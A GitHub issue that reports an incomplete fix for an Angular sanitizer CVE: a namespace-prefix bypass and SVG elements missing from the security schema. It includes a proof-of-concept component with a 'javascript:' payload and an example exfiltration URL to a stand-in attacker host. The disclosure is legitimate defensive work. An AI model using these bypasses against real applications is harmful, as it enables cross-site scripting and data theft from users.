Skip to content

Incomplete Fix for CVE-2026-22610: Namespace Prefix Bypass and Missing SVG Elements in Security Schema #67902

@VenkatKwest

Description

@VenkatKwest

Which @angular/* package(s) are the source of the bug?

Compiler

Is this a regression?

No

Description

IMPORTANT NOTE: GOOGLE VRP TEAM ACCEPTED THIS REPORT AS A PUBLIC ISSUE

Summary

The patch for CVE-2026-22610 / GHSA-jrmj-c5cx-3cw6 added script|href and script|xlink:href to the RESOURCE_URL security context. The fix uses exact string matching throughout the pipeline — both in the compiler's SECURITY_SCHEMA lookup and in the runtime's getUrlSanitizer(). This creates two gaps:

  1. Namespace prefix bypass: The schema matches the literal string xlink:href. An SVG template can declare any prefix for the http://www.w3.org/1999/xlink namespace (e.g., xmlns:s="http://www.w3.org/1999/xlink"). Setting [attr.s:href] resolves to the same namespace in the DOM but doesn't match xlink:href in the schema, so securityContext() returns NONE.

  2. Missing SVG elements: Only <script> was added to the schema. Other SVG elements that accept xlink:href for resource loading — <use>, <image>, <feImage> — are not in the schema at all. Their xlink:href attributes get SecurityContext.NONE and bypass sanitization entirely.

Product & Version

  • Package: @angular/compiler, @angular/core
  • Tested on: Angular 21.1.0+ (latest main, commit 8de0d25ffa, post-CVE-2026-22610 fix)
  • Fix commits present: 91dc91bae4, 26cdc53d9c, c2c2b4aaa8 — all titled "fix(core): sanitize sensitive attributes on SVG script elements"

Severity

HIGH — Direct bypass of an accepted security patch. The framework's "secure by default" guarantee is broken for the exact attack vector the patch tried to address.

Proof of Concept

// app.ts
import { Component, signal, ElementRef, ViewChild } from '@angular/core';

@Component({
  selector: 'app-root',
  template: `
    <div style="font-family: monospace; max-width: 800px; margin: 20px auto;">
      <h1>CVE-2026-22610 Bypass PoC</h1>
      <p>This page proves that Angular's sanitizer is bypassed for specific SVG attributes.</p>

      <div class="test-case" style="border: 2px solid #d00; padding: 15px; margin-bottom: 20px;">
        <h2 style="color: #d00; margin-top: 0;">Bypass 1: Namespace Prefix</h2>
        <svg width="100" height="20">
          <script #scriptTag [attr.s:href]="payload()" xmlns:s="http://www.w3.org/1999/xlink"></script>
        </svg>
        <p><strong>DOM State:</strong> <span class="result" [innerHTML]="scriptDom()"></span></p>
      </div>

      <div class="test-case" style="border: 2px solid #d00; padding: 15px; margin-bottom: 20px;">
        <h2 style="color: #d00; margin-top: 0;">Bypass 2: Missing &lt;use&gt; Element</h2>
        <svg width="100" height="20">
          <use #useTag [attr.xlink:href]="payload()"></use>
        </svg>
        <p><strong>DOM State:</strong> <span class="result" [innerHTML]="useDom()"></span></p>
      </div>

      <div class="test-case" style="border: 2px solid green; padding: 15px; margin-bottom: 20px;">
        <h2 style="color: green; margin-top: 0;">Control: Patched Behavior</h2>
        <svg width="100" height="20">
          <script #controlTag [attr.xlink:href]="payload()"></script>
        </svg>
        <p><strong>DOM State:</strong> <span class="result" [innerHTML]="controlDom()"></span></p>
      </div>

      <button id="reveal-btn" (click)="revealDom()" style="padding: 10px 20px; font-size: 16px; background: #007bff; color: white; border: none; cursor: pointer;">
        Reveal Raw DOM Rendered by Angular
      </button>
    </div>
  `,
  styles: [`
    .result { background: #eee; padding: 4px; border-radius: 4px; display: block; margin-top: 8px; white-space: pre-wrap; word-break: break-all; }
  `]
})
export class App {
  payload = signal('javascript:alert("XSS_EXECUTED_BYPASS")');

  @ViewChild('scriptTag') scriptTag!: ElementRef;
  @ViewChild('useTag') useTag!: ElementRef;
  @ViewChild('controlTag') controlTag!: ElementRef;

  scriptDom = signal('Waiting...');
  useDom = signal('Waiting...');
  controlDom = signal('Waiting...');

  revealDom() {
    this.scriptDom.set(this.escapeHtml(this.scriptTag.nativeElement.outerHTML));
    this.useDom.set(this.escapeHtml(this.useTag.nativeElement.outerHTML));
    this.controlDom.set(this.escapeHtml(this.controlTag.nativeElement.outerHTML));
  }

  private escapeHtml(unsafe: string) {
    return unsafe
         .replace(/&/g, "&amp;")
         .replace(/</g, "&lt;")
         .replace(/>/g, "&gt;")
         .replace(/"/g, "&quot;")
         .replace(/'/g, "&#039;");
  }
}
  • Bypass 1 (<script s:href>): The raw javascript:... string is present in the DOM.
  • Bypass 2 (<use xlink:href>): The raw javascript:... string is present in the DOM.
  • Control (<script xlink:href>): Angular correctly blocked and removed the attribute.

Steps to reproduce

  1. ng new repro-app (Angular 21.x).
  2. Replace app.component.ts with the above.
  3. ng serve, open in browser.
  4. Inspect the three SVG elements in DevTools.

Verified result

The control case (xlink:href on <script>) triggers ɵɵsanitizeResourceUrl and throws a runtime error as expected. The two bypass cases pass through silently.

Root Cause — Full Trace

Bypass 1: Namespace prefix

Step 1 — Compiler calls securityContext()

When the compiler processes [attr.s:href] on a <script> element, it calls DomElementSchemaRegistry.securityContext():

// dom_element_schema_registry.ts, lines 437-457
override securityContext(tagName: string, propName: string, isAttribute: boolean): SecurityContext {
  if (isAttribute) {
    propName = this.getMappedPropName(propName);
    // getMappedPropName() returns 's:href' unchanged — it's not in the _ATTR_TO_PROP map
  }
  tagName = tagName.toLowerCase();  // → 'script'
  propName = propName.toLowerCase(); // → 's:href'
  let ctx = SECURITY_SCHEMA()[tagName + '|' + propName];
  // Looks up 'script|s:href' — NOT in the schema.
  // The schema has 'script|xlink:href' but NOT 'script|s:href'.
  if (ctx) { return ctx; }
  ctx = SECURITY_SCHEMA()['*|' + propName];
  // Looks up '*|s:href' — also not in the schema.
  return ctx ? ctx : SecurityContext.NONE;
  // Falls through to NONE.
}

Because the schema entry is the literal string 'script|xlink:href' (line 125 of dom_security_schema.ts) and we're passing 's:href', the lookup fails. No prefix normalization happens. The compiler emits the binding with SecurityContext.NONE.

Step 2 — Runtime calls getUrlSanitizer()

At runtime, the same literal matching happens in getUrlSanitizer():

// sanitization.ts, lines 227-234
export function getUrlSanitizer(tag: string, prop: string) {
  const isResource =
    (prop === 'src' && SRC_RESOURCE_TAGS.has(tag)) ||
    (prop === 'href' && HREF_RESOURCE_TAGS.has(tag)) ||
    (prop === 'xlink:href' && tag === 'script');
  // prop is 's:href', not 'xlink:href' → false
  return isResource ? ɵɵsanitizeResourceUrl : ɵɵsanitizeUrl;
  // Returns ɵɵsanitizeUrl (URL context), NOT ɵɵsanitizeResourceUrl
}

But this path only runs for host bindings. For template bindings, the compiler already decided SecurityContext.NONE, so no sanitizer is called at all. The raw value goes straight to the DOM.

Bypass 2: Missing <use> element

This one is simpler. The SECURITY_SCHEMA in dom_security_schema.ts has entries for <script>, <a>, and various MathML elements. <use> is absent:

// dom_security_schema.ts — RESOURCE_URL entries (lines 113-126):
'base|href', 'embed|src', 'frame|src', 'iframe|src',
'link|href', 'object|codebase', 'object|data',
'script|src', 'script|href', 'script|xlink:href'
// No 'use|href', 'use|xlink:href', 'image|href', etc.

When securityContext('use', 'xlink:href', true) is called, both lookups ('use|xlink:href' and '*|xlink:href') miss. Result: SecurityContext.NONE. No sanitizer.

For context, the SVG <use> element is widely used for icon sprite sheets. <use xlink:href="proxy.php?url=https%3A%2F%2Fgithub.com%2F%23icon-name"> is one of the most common SVG patterns in production Angular apps.

Impact

Bypass 1 (prefix): Requires the developer to write a custom namespace prefix on a <script> element, which is uncommon but valid SVG. The main concern is that the framework's security contract is broken — any code path that relies on securityContext() returning the correct value for namespaced attributes will fail silently.

Bypass 2 (missing elements): <use> and <image> are commonly used SVG elements. If their xlink:href is bound to user input (e.g., a configurable icon sprite URL), the value bypasses sanitization. While modern browsers block javascript: execution from <use>, they will fetch arbitrary external URLs, enabling SSRF-style data exfiltration — e.g., <use xlink:href="proxy.php?url=https%3A%2F%2Fattacker.com%2Fsteal%3Fdata%3D..."> would trigger a network request.

Suggested Fix

  1. Prefix normalization in securityContext(): Before lookup, strip any namespace prefix from the attribute name. If propName contains a colon, extract the local name (the part after the colon) and check that against known sensitive local names (href).

  2. Expand the schema: Add use|xlink:href, use|href, image|xlink:href, image|href, feImage|xlink:href, and feImage|href to the URL security context.

  3. Same normalization in getUrlSanitizer(): Apply the same prefix-stripping logic so the runtime fallback also catches custom prefixes.

Please provide a link to a minimal reproduction of the bug

No response

Please provide the exception or error you saw


Please provide the environment you discovered this bug in (run ng version)


Anything else?

No response

Metadata

Metadata

Assignees

No one assigned

    Labels

    area: securityIssues related to built-in security features, such as HTML sanitationgemini-triagedLabel noting that an issue has been triaged by gemini

    Type

    No type

    Projects

    No projects

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions